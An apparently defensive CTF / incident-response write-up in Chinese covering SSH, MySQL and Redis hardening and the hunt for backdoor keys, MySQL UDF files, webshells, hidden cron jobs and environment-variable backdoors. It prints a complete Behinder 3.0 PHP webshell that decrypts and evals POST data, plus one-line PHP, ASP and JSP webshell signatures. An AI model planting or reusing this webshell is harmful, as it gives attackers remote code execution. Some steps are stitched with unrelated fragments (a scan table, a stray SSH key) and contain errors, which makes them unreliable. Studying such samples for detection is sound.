<h1 id="2024-ctf-solution-thinking"><a class="header" href="#2024-ctf-solution-thinking">2024 ctf solution thinking</a></h1>
|
||
<h2 id="1ssh加固"><a class="header" href="#1ssh加固">1.SSH加固</a></h2>
|
||
<p>为了修正SSH配置并增强服务器的安全性,您需要进行以下步骤:</p>
|
||
<h3 id="1-修改ssh端口"><a class="header" href="#1-修改ssh端口">1. 修改SSH端口</a></h3>
|
||
<p>首先,您需要修改SSH的默认端口(22)为56435。</p>
|
||
<h3 id="2-实现仅允许公钥登录"><a class="header" href="#2-实现仅允许公钥登录">2. 实现仅允许公钥登录</a></h3>
|
||
<p>接下来,您需要配置SSH仅允许公钥登录,禁用密码登录。</p>
|
||
<h3 id="具体步骤"><a class="header" href="#具体步骤">具体步骤:</a></h3>
|
||
<h4 id="1-备份当前的ssh配置文件"><a class="header" href="#1-备份当前的ssh配置文件">1. 备份当前的SSH配置文件</a></h4>
|
||
<p>在进行任何修改之前,建议先备份当前的SSH配置文件。</p>
|
||
<pre><code class="language-bash">sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
|
||
</code></pre>
|
||
<h4 id="2-编辑ssh配置文件"><a class="header" href="#2-编辑ssh配置文件">2. 编辑SSH配置文件</a></h4>
|
||
<p>使用您喜欢的文本编辑器(如<code>nano</code>或<code>vim</code>)打开SSH配置文件:</p>
|
||
<pre><code class="language-bash">sudo nano /etc/ssh/sshd_config
|
||
</code></pre>
|
||
<h4 id="3-修改ssh端口"><a class="header" href="#3-修改ssh端口">3. 修改SSH端口</a></h4>
|
||
<p>找到以下行并修改端口号为56435:</p>
|
||
<pre><code class="language-bash">#Port 22
|
||
Port 56435
|
||
</code></pre>
|
||
<h4 id="4-禁用密码登录"><a class="header" href="#4-禁用密码登录">4. 禁用密码登录</a></h4>
|
||
<pre><code>序号,类型,路径
|
||
1,PHP变量函数后门代码-检查确认后删除相关代码,/www/zentaopms/framework/control.class.php
|
||
2,冰蝎3.0 PHP-PHP后门,建议清理,/www/zentaopms/www/.checkdatabase.php
|
||
|
||
|
||
eRvp59
|
||
</code></pre>
|
||
<p>找到以下行并确保它们被设置为<code>no</code>:</p>
|
||
<pre><code class="language-bash">#PasswordAuthentication yes
|
||
PasswordAuthentication no
|
||
|
||
#PermitEmptyPasswords no
|
||
# optional
|
||
PermitEmptyPasswords no
|
||
</code></pre>
|
||
<h4 id="5-启用公钥认证"><a class="header" href="#5-启用公钥认证">5. 启用公钥认证</a></h4>
|
||
<p>确保以下行被设置为<code>yes</code>:</p>
|
||
<pre><code class="language-bash"># optional
|
||
PubkeyAuthentication yes
|
||
</code></pre>
|
||
<h4 id="6-保存并退出"><a class="header" href="#6-保存并退出">6. 保存并退出</a></h4>
|
||
<p>保存文件并退出编辑器。如果您使用的是<code>nano</code>,可以按<code>Ctrl+O</code>保存,然后按<code>Ctrl+X</code>退出。</p>
|
||
<h4 id="7-重启ssh服务"><a class="header" href="#7-重启ssh服务">7. 重启SSH服务</a></h4>
|
||
<p>应用更改后,重启SSH服务以使配置生效:</p>
|
||
<pre><code>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJS+M4ZQJpg+ndAVD9Ab2sMDje5s1VnyfdbUl/MmPKSU yym1ng@yym1ngdeMacBook-Pro.local
|
||
</code></pre>
|
||
<pre><code class="language-bash">sudo systemctl restart sshd
|
||
</code></pre>
|
||
<h3 id="注意事项"><a class="header" href="#注意事项">注意事项:</a></h3>
|
||
<ul>
|
||
<li><strong>防火墙配置</strong>:确保您的防火墙(如<code>iptables</code>或<code>ufw</code>)允许新的SSH端口(56435)通过。</li>
|
||
<li><strong>客户端配置</strong>:如果您使用的是SSH客户端,确保在连接时指定新的端口号。</li>
|
||
<li><strong>安全性</strong>:禁用密码登录和Root登录可以显著提高服务器的安全性,但请确保您已经正确配置了公钥,并且有其他方式(如控制台)可以访问服务器,以防万一。</li>
|
||
</ul>
|
||
<p>通过以上步骤,您应该能够成功修正SSH配置,并增强服务器的安全性。</p>
|
||
<h2 id="2mysql加固"><a class="header" href="#2mysql加固">2.MySQL加固</a></h2>
|
||
<p>修改MySQL数据库的安全策略配置。</p>
|
||
<p>任务目标:</p>
|
||
<p>1.配置MySOL为非标准端口 55434</p>
|
||
<p>2.配置禁止mysql 读取和写入文件</p>
|
||
<p>如果使用的是MariaDB而不是MySQL,配置文件的路径和名称可能会有所不同。对于MariaDB,配置文件通常位于 <code>/etc/mysql/mariadb.conf.d/50-server.cnf</code>。
|
||
以下是如何在该文件中进行配置的步骤:</p>
|
||
<h3 id="1-配置mariadb为非标准端口-55434"><a class="header" href="#1-配置mariadb为非标准端口-55434">1. 配置MariaDB为非标准端口 55434</a></h3>
|
||
<h3 id="2-配置禁止mariadb读取和写入文件"><a class="header" href="#2-配置禁止mariadb读取和写入文件">2. 配置禁止MariaDB读取和写入文件</a></h3>
|
||
<h3 id="具体步骤-1"><a class="header" href="#具体步骤-1">具体步骤:</a></h3>
|
||
<pre><code class="language-sh"># vi /etc/my.cnf.d/server.cnf [On CentOS/RHEL]
|
||
# vi /etc/mysql/mariadb.conf.d/50-server.cnf [On Debian/Ubuntu]
|
||
|
||
</code></pre>
|
||
<h4 id="1-备份当前的mariadb配置文件"><a class="header" href="#1-备份当前的mariadb配置文件">1. 备份当前的MariaDB配置文件</a></h4>
|
||
<p>在进行任何修改之前,建议先备份当前的MariaDB配置文件。</p>
|
||
<pre><code class="language-bash">sudo cp /etc/mysql/mariadb.conf.d/50-server.cnf /etc/mysql/mariadb.conf.d/50-server.cnf.bak
|
||
</code></pre>
|
||
<h4 id="2-编辑mariadb配置文件"><a class="header" href="#2-编辑mariadb配置文件">2. 编辑MariaDB配置文件</a></h4>
|
||
<p>使用您喜欢的文本编辑器(如<code>nano</code>或<code>vim</code>)打开MariaDB配置文件:</p>
|
||
<pre><code class="language-bash">sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
|
||
</code></pre>
|
||
<h4 id="3-修改mariadb端口"><a class="header" href="#3-修改mariadb端口">3. 修改MariaDB端口</a></h4>
|
||
<p>找到或添加以下行并修改端口号为55434:</p>
|
||
<pre><code class="language-ini">[mysqld]
|
||
port = 55434
|
||
</code></pre>
|
||
<h4 id="4-配置禁止mariadb读取和写入文件"><a class="header" href="#4-配置禁止mariadb读取和写入文件">4. 配置禁止MariaDB读取和写入文件</a></h4>
|
||
<p>为了禁止MariaDB读取和写入文件,您需要设置以下参数:</p>
|
||
<pre><code class="language-ini">[mysqld]
|
||
secure-file-priv = /dev/
|
||
</code></pre>
|
||
<p><code>secure-file-priv</code>参数设置为<code>NULL</code>将禁止MariaDB读取和写入文件。</p>
|
||
<h4 id="5-保存并退出"><a class="header" href="#5-保存并退出">5. 保存并退出</a></h4>
|
||
<p>保存文件并退出编辑器。如果您使用的是<code>nano</code>,可以按<code>Ctrl+O</code>保存,然后按<code>Ctrl+X</code>退出。</p>
|
||
<h4 id="6-重启mariadb服务"><a class="header" href="#6-重启mariadb服务">6. 重启MariaDB服务</a></h4>
|
||
<p>应用更改后,重启MariaDB服务以使配置生效:</p>
|
||
<pre><code class="language-bash">sudo systemctl restart mariadb
|
||
|
||
service mariadb restart
|
||
</code></pre>
|
||
<h4 id="7-验证配置"><a class="header" href="#7-验证配置">7. 验证配置</a></h4>
|
||
<p>您可以通过以下命令验证MariaDB是否已经运行在新的端口上:</p>
|
||
<pre><code class="language-bash">sudo netstat -tuln | grep 55434
|
||
</code></pre>
|
||
<p>您应该看到类似以下的输出,表示MariaDB正在监听55434端口:</p>
|
||
<pre><code class="language-bash">tcp 0 0 0.0.0.0:55434 0.0.0.0:* LISTEN
|
||
</code></pre>
|
||
<h4 id="8-验证文件读写权限"><a class="header" href="#8-验证文件读写权限">8. 验证文件读写权限</a></h4>
|
||
<p>您可以通过以下SQL命令验证<code>secure_file_priv</code>参数是否生效:</p>
|
||
<pre><code class="language-sql">SHOW VARIABLES LIKE 'secure_file_priv';
|
||
</code></pre>
|
||
<p>您应该看到以下输出,表示MariaDB无法读取和写入文件:</p>
|
||
<pre><code class="language-sql">+------------------+-------+
|
||
| Variable_name | Value |
|
||
+------------------+-------+
|
||
| secure_file_priv | /dev/ |
|
||
+------------------+-------+
|
||
</code></pre>
|
||
<h3 id="注意事项-1"><a class="header" href="#注意事项-1">注意事项:</a></h3>
|
||
<ul>
|
||
<li><strong>防火墙配置</strong>:确保您的防火墙(如<code>iptables</code>或<code>ufw</code>)允许新的MariaDB端口(55434)通过。</li>
|
||
<li><strong>客户端配置</strong>:如果您使用的是MariaDB客户端,确保在连接时指定新的端口号。</li>
|
||
<li><strong>安全性</strong>:禁用文件读写权限可以防止某些类型的攻击,但请确保您已经正确配置了其他安全措施,如限制数据库用户的权限。</li>
|
||
</ul>
|
||
<p>通过以上步骤,您应该能够成功修改MariaDB数据库的安全策略配置,并增强数据库的安全性。</p>
|
||
<h2 id="3ssh后门排查"><a class="header" href="#3ssh后门排查">3.ssh后门排查</a></h2>
|
||
<p>找到攻击者添加后门并删除
|
||
思路:找到并删除公钥</p>
|
||
<h3 id="1-检查-sshauthorized_keys-文件"><a class="header" href="#1-检查-sshauthorized_keys-文件">1. 检查 <code>~/.ssh/authorized_keys</code> 文件</a></h3>
|
||
<p>首先,检查目标用户的 <code>~/.ssh/authorized_keys</code> 文件,看看是否有未知的公钥。</p>
|
||
<pre><code class="language-sh">cat ~/.ssh/authorized_keys
|
||
cat ~/.ssh/authorized_keys2
|
||
</code></pre>
|
||
<h3 id="2-确认公钥的来源"><a class="header" href="#2-确认公钥的来源">2. 确认公钥的来源</a></h3>
|
||
<p>如果你发现未知的公钥,可以尝试确认这些公钥的来源。你可以通过以下方式来确认:</p>
|
||
<ul>
|
||
<li><strong>联系系统管理员</strong>:询问是否有其他人有权限访问该系统,并确认这些公钥是否合法。</li>
|
||
<li><strong>检查公钥指纹</strong>:使用 <code>ssh-keygen</code> 工具来检查公钥的指纹,并与已知的合法公钥进行对比。</li>
|
||
</ul>
|
||
<pre><code class="language-sh">ssh-keygen -lf ~/.ssh/authorized_keys
|
||
</code></pre>
|
||
<h3 id="3-删除未知的公钥"><a class="header" href="#3-删除未知的公钥">3. 删除未知的公钥</a></h3>
|
||
<p>如果你确认某个公钥是未知的或不合法的,可以将其从 <code>~/.ssh/authorized_keys</code> 文件中删除。</p>
|
||
<pre><code class="language-sh"># 使用文本编辑器打开 authorized_keys 文件
|
||
nano ~/.ssh/authorized_keys
|
||
|
||
# 或者使用 sed 命令删除特定的行
|
||
sed -i '/<unknown_public_key>/d' ~/.ssh/authorized_keys
|
||
</code></pre>
|
||
<h3 id="4-检查其他用户的-authorized_keys-文件"><a class="header" href="#4-检查其他用户的-authorized_keys-文件">4. 检查其他用户的 <code>authorized_keys</code> 文件</a></h3>
|
||
<p>如果你是系统管理员,建议检查所有用户的 <code>~/.ssh/authorized_keys</code> 文件,以确保没有其他用户被添加了未知的公钥。</p>
|
||
<pre><code class="language-sh">for user in $(cut -f1 -d: /etc/passwd); do
|
||
if [ -f /home/$user/.ssh/authorized_keys ]; then
|
||
echo "Checking $user's authorized_keys file..."
|
||
cat /home/$user/.ssh/authorized_keys
|
||
fi
|
||
done
|
||
</code></pre>
|
||
<h2 id="4mysql-后门排查"><a class="header" href="#4mysql-后门排查">4.mysql 后门排查</a></h2>
|
||
<p>攻击者利用某文件获得了ROOT权限,请找到该文件,提交该文件的MD5值(使用md5sum计算)</p>
|
||
<p>思路:找到MySQL插件路径,找到提权文件</p>
|
||
<p>考点:mysqludf自定义函数提权</p>
|
||
<p>以下是排查和删除 MySQL UDF 后门的步骤:</p>
|
||
<h3 id="1-确认-mysql-插件路径"><a class="header" href="#1-确认-mysql-插件路径">1. 确认 MySQL 插件路径</a></h3>
|
||
<p>首先,确认 MySQL 的插件路径。你可以通过以下命令查看 MySQL 的配置文件(通常是 <code>my.cnf</code> 或 <code>my.ini</code>)来找到插件路径。</p>
|
||
<pre><code class="language-bash">cat /etc/my.cnf | grep plugin_dir
|
||
</code></pre>
|
||
<p>或者直接在 MySQL 命令行中查询:</p>
|
||
<pre><code class="language-sql">SHOW VARIABLES LIKE 'plugin_dir';
|
||
#查找mysql插件存放路径。如果secure_file_priv为空,表示mysql可以写入文件到任意有权限目录,但是在创建udf用户自定义函数时,需要指定so文件的目录,MySQL 有另一项安全设置 plugin_dir,这个变量定义了 MySQL 从哪个目录加载插件和共享库,所以只能将so文件写入到该目录
|
||
show variables like '%plugin%';
|
||
</code></pre>
|
||
<h3 id="2-检查插件目录"><a class="header" href="#2-检查插件目录">2. 检查插件目录</a></h3>
|
||
<p>进入 MySQL 插件目录,检查是否有可疑的文件。通常,UDF 文件的扩展名为 <code>.so</code>(在 Linux 上)或 <code>.dll</code>(在 Windows 上)。</p>
|
||
<pre><code class="language-bash">ls -l /path/to/plugin_dir
|
||
</code></pre>
|
||
<h3 id="3-确认可疑文件"><a class="header" href="#3-确认可疑文件">3. 确认可疑文件</a></h3>
|
||
<p>如果你发现可疑的文件,可以使用 <code>md5sum</code> 命令计算该文件的 MD5 值。</p>
|
||
<pre><code class="language-bash">md5sum /path/to/plugin_dir/suspicious_file.so
|
||
</code></pre>
|
||
<h3 id="4-检查-mysql-函数"><a class="header" href="#4-检查-mysql-函数">4. 检查 MySQL 函数</a></h3>
|
||
<p>检查 MySQL 中是否存在可疑的自定义函数。你可以通过以下 SQL 查询来列出所有用户定义的函数:</p>
|
||
<pre><code class="language-sql">SELECT name FROM mysql.func WHERE type = 'function';
|
||
</code></pre>
|
||
<h3 id="5-删除可疑的-udf-文件和函数"><a class="header" href="#5-删除可疑的-udf-文件和函数">5. 删除可疑的 UDF 文件和函数</a></h3>
|
||
<p>如果你确认某个文件是恶意的 UDF 文件,可以将其删除,并删除相应的 MySQL 函数。</p>
|
||
<pre><code class="language-bash"># 删除 UDF 文件
|
||
rm /path/to/plugin_dir/suspicious_file.so
|
||
|
||
# 删除 MySQL 函数
|
||
DROP FUNCTION IF EXISTS suspicious_function_name;
|
||
</code></pre>
|
||
<h2 id="5redis修复及加固"><a class="header" href="#5redis修复及加固">5.Redis修复及加固</a></h2>
|
||
<pre><code>redis-cli --version
|
||
</code></pre>
|
||
<pre><code>cp /usr/local/redis-7.0.9/redis.conf /usr/local/redis-7.0.9/redis.conf.bak
|
||
cp /etc/redis/redis.conf /etc/redis/redis.conf.bak
|
||
</code></pre>
|
||
<p>修复redis未授权访问问题,并给redis修改配置设置密码7gagyw341</p>
|
||
<pre><code class="language-sh">bind 127.0.0.1
|
||
protected-mod yes
|
||
requirepass 7gagyw341
|
||
rename-command FLUSHALL ""
|
||
rename-command FLUSHDB ""
|
||
rename-command CONFIG ""
|
||
</code></pre>
|
||
<pre><code class="language-sh">redis-cli -h 127.0.0.1 -p 6379
|
||
127.0.0.1:6379> get k1
|
||
(error) NOAUTH Authentication required.
|
||
127.0.0.1:6379>
|
||
|
||
redis-cli -h 127.0.0.1 -p 6379 -a 密码
|
||
</code></pre>
|
||
<pre><code class="language-sh">sudo systemctl restart redis
|
||
OR
|
||
sudo service redis-server restart
|
||
</code></pre>
|
||
<h2 id="6寻找攻击者留下的webshell并删除"><a class="header" href="#6寻找攻击者留下的webshell并删除">6.寻找攻击者留下的webshell并删除</a></h2>
|
||
<p>通过流量分析或者日志分析找到webshell名称</p>
|
||
<p>通过流量分析或日志分析来找到攻击者留下的 WebShell 名称是一种有效的方法。以下是具体的步骤和工具,可以帮助你完成这个过程:</p>
|
||
<h3 id="1-流量分析"><a class="header" href="#1-流量分析">1. 流量分析</a></h3>
|
||
<p>使用网络流量分析工具(如 Wireshark)可以帮助你识别异常的 HTTP 请求,这些请求可能与 WebShell 的活动有关。</p>
|
||
<h4 id="使用-wireshark-分析流量"><a class="header" href="#使用-wireshark-分析流量">使用 Wireshark 分析流量</a></h4>
|
||
<ul>
|
||
<li><strong>捕获流量</strong>:确保你的网络监控设备正在捕获进出 Web 服务器的流量。</li>
|
||
</ul>
|
||
<pre><code>sudo tcpdump -i eth0 -w capture.pcap
|
||
</code></pre>
|
||
<ul>
|
||
<li>
|
||
<p><strong>打开流量文件</strong>:在 Wireshark 中打开捕获的 pcap 文件。</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>过滤 HTTP 流量</strong>:使用 <code>http</code> 或 <code>http2</code> 过滤器来查看 HTTP 请求。</p>
|
||
</li>
|
||
<li>
|
||
<p><strong>查找异常模式</strong>:</p>
|
||
</li>
|
||
<li>
|
||
<p>查找不常见的请求路径,例如 <code>/path/to/webshell.php</code>。</p>
|
||
</li>
|
||
<li>
|
||
<p>检查请求参数中是否有可疑的数据,如 <code>cmd</code>、<code>pass</code> 等。</p>
|
||
</li>
|
||
<li>
|
||
<p>查看响应内容,特别是那些包含命令执行结果的内容。</p>
|
||
</li>
|
||
</ul>
|
||
<h3 id="2-日志分析"><a class="header" href="#2-日志分析">2. 日志分析</a></h3>
|
||
<p>Web 服务器日志记录了所有访问请求,通过分析这些日志可以发现异常的访问模式和潜在的 WebShell 活动。</p>
|
||
<h4 id="分析-apache-或-nginx-日志"><a class="header" href="#分析-apache-或-nginx-日志">分析 Apache 或 Nginx 日志</a></h4>
|
||
<ul>
|
||
<li><strong>定位日志文件</strong>:通常位于 <code>/var/log/apache2/access.log</code> 或 <code>/var/log/nginx/access.log</code>。</li>
|
||
<li><strong>查看日志内容</strong>:使用 <code>cat</code>、<code>less</code> 或 <code>tail</code> 命令查看日志文件。</li>
|
||
<li><strong>搜索异常访问</strong>:</li>
|
||
<li>查找频繁出现的异常请求路径。</li>
|
||
<li>检查不寻常的 User-Agent 字段。</li>
|
||
<li>查找 POST 请求中的可疑参数。</li>
|
||
<li>查找返回状态码为 200 的不常见请求。</li>
|
||
</ul>
|
||
<h4 id="示例命令"><a class="header" href="#示例命令">示例命令</a></h4>
|
||
<pre><code class="language-bash"># 查找最近几天内修改过的 PHP 文件
|
||
find /var/www/html -type f -name "*.php" -mtime -3
|
||
# 检查服务器上是否有其他可疑文件,特别是那些不在预期目录中的文件
|
||
sudo find /var/www/html -name "*.php" -exec grep -l 'eval(' {} \;
|
||
|
||
# 查找特定时间段内的访问日志
|
||
grep "192.168.1.100" /var/log/apache2/access.log
|
||
sudo grep -E 'cmd=|eval=' /var/log/apache2/access.log
|
||
|
||
# 查找包含特定关键词的日志条目
|
||
grep "eval" /var/log/apache2/access.log
|
||
</code></pre>
|
||
<h3 id="3-使用-webshell-检测工具"><a class="header" href="#3-使用-webshell-检测工具">3. 使用 WebShell 检测工具</a></h3>
|
||
<p>专业的 WebShell 检测工具可以帮助你更快速地识别和删除 WebShell。</p>
|
||
<pre><code class="language-sh">
|
||
<?php
|
||
@error_reporting(0);
|
||
session_start();
|
||
$key="4632f70696b272dc"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
|
||
$_SESSION['k']=$key;
|
||
session_write_close();
|
||
$post=file_get_contents("php://input");
|
||
if(!extension_loaded('openssl'))
|
||
{
|
||
$t="base64_"."decode";
|
||
$post=$t($post."");
|
||
|
||
for($i=0;$i<strlen($post);$i++) {
|
||
$post[$i] = $post[$i]^$key[$i+1&15];
|
||
}
|
||
}
|
||
else
|
||
{
|
||
$post=openssl_decrypt($post, "AES128", $key);
|
||
}
|
||
$arr=explode('|',$post);
|
||
$func=$arr[0];
|
||
$params=$arr[1];
|
||
class C{public function __invoke($p) {eval($p."");}}
|
||
@call_user_func(new C(),$params);
|
||
?>
|
||
|
||
</code></pre>
|
||
<h4 id="d盾-webshell-查杀工具"><a class="header" href="#d盾-webshell-查杀工具">D盾 WebShell 查杀工具</a></h4>
|
||
<ul>
|
||
<li><strong>下载地址</strong>:<a href="http://www.d99net.net/down/WebShellKill_V2.0.9.zip">D盾官网</a></li>
|
||
<li><strong>使用方法</strong>:</li>
|
||
</ul>
|
||
<ol>
|
||
<li>解压下载的文件。</li>
|
||
<li>打开终端并导航到解压后的目录。</li>
|
||
<li>运行扫描命令:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">sudo ./WebShellKill.sh /path/to/website
|
||
</code></pre>
|
||
<h4 id="河马-webshell-查杀工具"><a class="header" href="#河马-webshell-查杀工具">河马 WebShell 查杀工具</a></h4>
|
||
<ul>
|
||
<li><strong>下载地址</strong>:<a href="https://github.com/hahwul/hipot">河马 GitHub</a></li>
|
||
<li><strong>使用方法</strong>:</li>
|
||
</ul>
|
||
<ol>
|
||
<li>克隆或下载仓库。</li>
|
||
<li>安装依赖项:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">pip install -r requirements.txt
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li>运行扫描命令:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">hm-linux-amd64.tgz
|
||
</code></pre>
|
||
<h3 id="4-手动检查可疑文件"><a class="header" href="#4-手动检查可疑文件">4. 手动检查可疑文件</a></h3>
|
||
<ul>
|
||
<li><strong>查找常见的 WebShell 特征</strong>:</li>
|
||
<li>PHP: <code><?php @eval($_POST['cmd']); ?></code></li>
|
||
<li>ASP: <code><%execute(request("cmd"))%></code></li>
|
||
<li>JSP: <code><% Runtime.getRuntime().exec(request.getParameter("cmd")); %></code></li>
|
||
<li><strong>使用文本编辑器或代码对比工具</strong>:</li>
|
||
<li><strong>Notepad++</strong>: 可以用来手动检查文件内容。</li>
|
||
<li><strong>Beyond Compare</strong> 或 <strong>WinMerge</strong>: 对比当前文件与已知安全版本的差异。</li>
|
||
</ul>
|
||
<h3 id="5-删除-webshell"><a class="header" href="#5-删除-webshell">5. 删除 WebShell</a></h3>
|
||
<ul>
|
||
<li><strong>隔离可疑文件</strong>:将疑似 WebShell 的文件移动到隔离区,而不是直接删除,以便进一步分析。</li>
|
||
<li><strong>彻底删除确认的 WebShell</strong>:一旦确认某个文件为 WebShell,应立即删除,并修复导致其存在的漏洞。</li>
|
||
</ul>
|
||
<h2 id="7恶意流量分析"><a class="header" href="#7恶意流量分析">7.恶意流量分析</a></h2>
|
||
<p>提交攻击者所窃取机密文件的md5值作为flag</p>
|
||
<p>获取webshel中的秘钥,利用秘钥解密冰蝎流量,并导出文件</p>
|
||
<h2 id="8后门进程分析"><a class="header" href="#8后门进程分析">8.后门进程分析</a></h2>
|
||
<p>后门进程和隐藏计划任务的分析是网络安全中非常重要的环节,尤其是当怀疑系统已经被入侵时。下面将详细介绍如何进行后门进程的分析以及如何查找隐藏的计划任务,并最终确定攻击者的IP地址和端口。</p>
|
||
<h3 id="后门进程分析"><a class="header" href="#后门进程分析">后门进程分析</a></h3>
|
||
<h4 id="1-检查可疑进程"><a class="header" href="#1-检查可疑进程">1. 检查可疑进程</a></h4>
|
||
<p>使用 <code>ps</code> 或者 <code>top</code> 命令来查看当前运行的进程列表,注意那些没有窗口(对于GUI程序)、消耗异常资源或者看起来不寻常的进程。</p>
|
||
<pre><code class="language-bash"># 查看所有进程
|
||
ps -aux
|
||
|
||
# 查找没有主窗口句柄的进程(可能包括正常后台进程)
|
||
ps -e | grep -v pts | grep -v tty
|
||
</code></pre>
|
||
<h4 id="2-分析网络连接"><a class="header" href="#2-分析网络连接">2. 分析网络连接</a></h4>
|
||
<p>使用 <code>netstat</code> 或 <code>ss</code> 命令检查当前的网络连接,以发现任何异常的外部连接。</p>
|
||
<pre><code class="language-bash"># 使用 netstat 查看所有 TCP 连接
|
||
sudo netstat -antp | grep ESTABLISHED
|
||
|
||
# 使用 ss 查看所有 TCP 连接
|
||
sudo ss -antp | grep ESTABLISHED
|
||
</code></pre>
|
||
<h4 id="3-检查监听端口"><a class="header" href="#3-检查监听端口">3. 检查监听端口</a></h4>
|
||
<p>检查是否有未知的服务正在监听端口,这可能是恶意软件建立的通信通道。</p>
|
||
<pre><code class="language-bash"># 列出所有监听的 TCP 端口
|
||
sudo netstat -anlt | grep LISTEN
|
||
|
||
# 使用 ss 查看所有监听的 TCP 端口
|
||
sudo ss -anlt | grep LISTEN
|
||
</code></pre>
|
||
<h4 id="4-日志审查"><a class="header" href="#4-日志审查">4. 日志审查</a></h4>
|
||
<p>查阅系统日志文件,如 <code>/var/log/auth.log</code> 或 <code>/var/log/secure</code>,寻找失败的登录尝试或其他可疑活动。</p>
|
||
<pre><code class="language-bash">sudo tail -f /var/log/auth.log
|
||
</code></pre>
|
||
<h3 id="查找隐藏计划任务"><a class="header" href="#查找隐藏计划任务">查找隐藏计划任务</a></h3>
|
||
<p>在Linux系统中,隐藏计划任务可能会被设置为不显示在常规的 <code>crontab -l</code> 输出中。要找到这些隐藏的任务,你可以采取以下步骤:</p>
|
||
<h4 id="1-查看用户级-crontab-文件"><a class="header" href="#1-查看用户级-crontab-文件">1. 查看用户级 crontab 文件</a></h4>
|
||
<p>每个用户的 crontab 文件都存储在 <code>/var/spool/cron/crontabs/</code> 目录下。作为 root 用户,可以列出这些文件。</p>
|
||
<p>用户的 crontab 文件被命名为用户的名字,并且它们的位置由于操作系统不同而不同。在基于 Red Hat 的发行版中,例如 CentOS, crontab文件被存储在 /var/spool/cron目录,而在 Debian 和 Ubuntu中,这些文件被存储在 /var/spool/cron/crontabs文件夹。</p>
|
||
<pre><code class="language-sh">crontab -l
|
||
</code></pre>
|
||
<pre><code class="language-bash">sudo ls -la /var/spool/cron/crontabs/
|
||
</code></pre>
|
||
<h4 id="2-检查全局-cron-配置"><a class="header" href="#2-检查全局-cron-配置">2. 检查全局 cron 配置</a></h4>
|
||
<p>除了用户级的 crontab 外,还有系统级别的 cron 任务配置文件位于 <code>/etc/</code> 下的不同子目录中,比如 <code>/etc/crontab</code>, <code>/etc/cron.d/</code> 和 <code>/etc/cron.*</code> 等。</p>
|
||
<pre><code class="language-bash">cat /etc/crontab
|
||
ls -la /etc/cron.d/
|
||
ls -la /etc/cron.hourly/
|
||
ls -la /etc/cron.daily/
|
||
ls -la /etc/cron.weekly/
|
||
ls -la /etc/cron.monthly/
|
||
</code></pre>
|
||
<h4 id="3-搜索整个文件系统"><a class="header" href="#3-搜索整个文件系统">3. 搜索整个文件系统</a></h4>
|
||
<p>如果怀疑存在隐蔽的计划任务,可以搜索整个文件系统中的 <code>.cron</code> 或者 <code>crontab</code> 文件。</p>
|
||
<pre><code class="language-bash">sudo find / -name "*.cron" -o -name "crontab"
|
||
</code></pre>
|
||
<pre><code class="language-sh">cd /var/spool/cron
|
||
cat root
|
||
cat -A root
|
||
vi root
|
||
</code></pre>
|
||
<p>vim 可以看到有用信息</p>
|
||
<h3 id="找到攻击者的-ip-地址--端口"><a class="header" href="#找到攻击者的-ip-地址--端口">找到攻击者的 IP 地址 + 端口</a></h3>
|
||
<p>一旦发现了可疑的网络连接或监听端口,下一步就是确定攻击者的IP地址和使用的端口。</p>
|
||
<h4 id="1-分析网络连接输出"><a class="header" href="#1-分析网络连接输出">1. 分析网络连接输出</a></h4>
|
||
<p>从之前使用 <code>netstat</code> 或 <code>ss</code> 的输出中,你可以看到与特定IP地址和端口建立的连接。例如:</p>
|
||
<pre><code class="language-bash">Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
|
||
tcp 0 0 192.168.1.100:22 116.99.45.41:49773 ESTABLISHED 1234/sshd: user [priv]
|
||
</code></pre>
|
||
<p>在这个例子中,<code>116.99.45.41:49773</code> 就是攻击者的IP地址和端口。</p>
|
||
<pre><code class="language-sh">ps aux |grep 1234
|
||
|
||
flag{192.210.207.136/1234}
|
||
|
||
# 父进程
|
||
cat /proc/312/status
|
||
</code></pre>
|
||
<h2 id="9后门清除"><a class="header" href="#9后门清除">9.后门清除</a></h2>
|
||
<p>找到并清除服务器中的所有后门</p>
|
||
<p>考察:环境变量后门,恶意用户后门</p>
|
||
<p>清除服务器中的后门是一个细致且系统化的过程,需要对可能存在的各种后门形式有全面的了解。针对您提到的环境变量后门和恶意用户后门,下面将分别提供相应的查找与清除步骤。</p>
|
||
<h3 id="环境变量后门"><a class="header" href="#环境变量后门">环境变量后门</a></h3>
|
||
<p>环境变量后门通常通过设置特定的环境变量来加载恶意代码或动态链接库(DLLs)。这种类型的后门可以非常隐蔽,因为它们不会在常见的进程列表中显示出来。</p>
|
||
<h4 id="查找环境变量后门"><a class="header" href="#查找环境变量后门">查找环境变量后门</a></h4>
|
||
<ol>
|
||
<li><strong>检查全局环境变量</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>查看 <code>/etc/environment</code> 文件。</li>
|
||
<li>检查 <code>/etc/profile</code>、<code>/etc/bashrc</code> 或其他 shell 初始化文件。</li>
|
||
<li>使用 <code>printenv</code> 命令查看当前会话的所有环境变量。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li><strong>检查用户级环境变量</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>对于每个用户,检查其家目录下的 <code>.bash_profile</code>, <code>.bashrc</code>, <code>.profile</code> 等文件。</li>
|
||
<li>特别注意如 <code>LD_PRELOAD</code>, <code>LD_LIBRARY_PATH</code> 等可以影响程序行为的环境变量。</li>
|
||
</ul>
|
||
<ol start="3">
|
||
<li><strong>使用工具辅助检测</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li><code>chkrootkit</code> 和 <code>rkhunter</code> 等安全工具可以帮助识别某些类型的环境变量后门。</li>
|
||
</ul>
|
||
<h4 id="清除环境变量后门"><a class="header" href="#清除环境变量后门">清除环境变量后门</a></h4>
|
||
<ol>
|
||
<li><strong>删除或注释可疑的环境变量设置</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>在相关的配置文件中找到并移除或注释掉那些看起来不正常或可疑的环境变量设置。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li><strong>重启服务</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>重新启动任何可能受到影响的服务,以确保新的环境变量设置生效。</li>
|
||
